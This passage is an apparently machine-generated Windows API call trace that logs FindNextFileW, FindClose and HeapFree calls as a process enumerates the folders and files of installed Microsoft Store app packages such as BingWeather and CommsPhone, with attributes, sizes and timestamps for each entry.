hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ceba882, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~4.0_X")) returned 1 [0086.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0844c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0d79eb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0d79eb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0086.377] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa975ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d388f04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0086.379] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d388f04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaac88c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d46dd2e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LiveTile", cAlternateFileName="")) returned 1 [0086.381] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d46dd2e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaabbfeb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d50668e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spacer", cAlternateFileName="")) returned 1 [0086.383] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.383] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d50668e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d52c8e8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d52c8e8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StoreLogo.scale-200.png", cAlternateFileName="")) returned 1 [0086.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.386] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d59f00b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaac222e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d827806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="30x30", cAlternateFileName="")) returned 0 [0086.386] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0086.386] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.386] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d827806, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaac23e3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9f144d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WeatherImages", cAlternateFileName="WEATHE~2")) returned 1 [0086.388] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.388] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9f144d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad0c763, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db303c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="423x173", cAlternateFileName="")) returned 1 [0086.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.390] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9f144d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad0c763, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db303c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="423x173", cAlternateFileName="")) returned 0 [0086.390] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0086.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.390] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d52c8e8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d52c8e8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d52c8e8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Weather_BadgeLogo.scale-200.png", cAlternateFileName="")) returned 1 [0086.390] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.391] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2db7c876, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad78aac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attribution", cAlternateFileName="ATTRIB~1")) returned 1 [0086.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.393] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2db7c876, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad78aac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attribution", cAlternateFileName="ATTRIB~1")) returned 0 [0086.393] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0086.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.393] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0086.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.394] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7a6fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Images", cAlternateFileName="")) returned 1 [0086.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.394] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ad84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd2927f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1 [0086.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.394] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd03022, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd03022, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ee998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0086.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.394] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7cee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Assets", cAlternateFileName="")) returned 0 [0086.394] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0086.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.394] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7c2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EndOfLife", cAlternateFileName="ENDOFL~1")) returned 0 [0086.394] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0086.394] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.394] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7d91e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0086.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0086.395] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ff09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0086.395] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0086.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.395] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7f48f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0086.395] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0086.395] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.291] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7e777, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0087.291] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0087.291] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.291] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd9b990, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd86200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Weather.dll", cAlternateFileName="")) returned 1 [0087.292] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.292] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1edde0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0087.292] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.292] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9368ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0087.292] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0087.292] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.292] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3acdd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIBA67~1.SCA")) returned 1 [0087.294] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.294] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaae3e4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0087.294] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.294] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f83c76, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f83c76, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0087.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebc8e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICC3B~1.0_N")) returned 1 [0087.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68a98ed8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0087.295] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0087.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf17e9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIBB30~1.0_X")) returned 1 [0087.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.298] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.298] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bca1ad, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68bca1ad, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68c62b19, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CallsApp.exe", cAlternateFileName="")) returned 1 [0087.300] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e9ee55, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e9ee55, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e9ee55, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x51c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1 [0087.300] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab021835, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI2247~1.0_N")) returned 1 [0087.300] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: 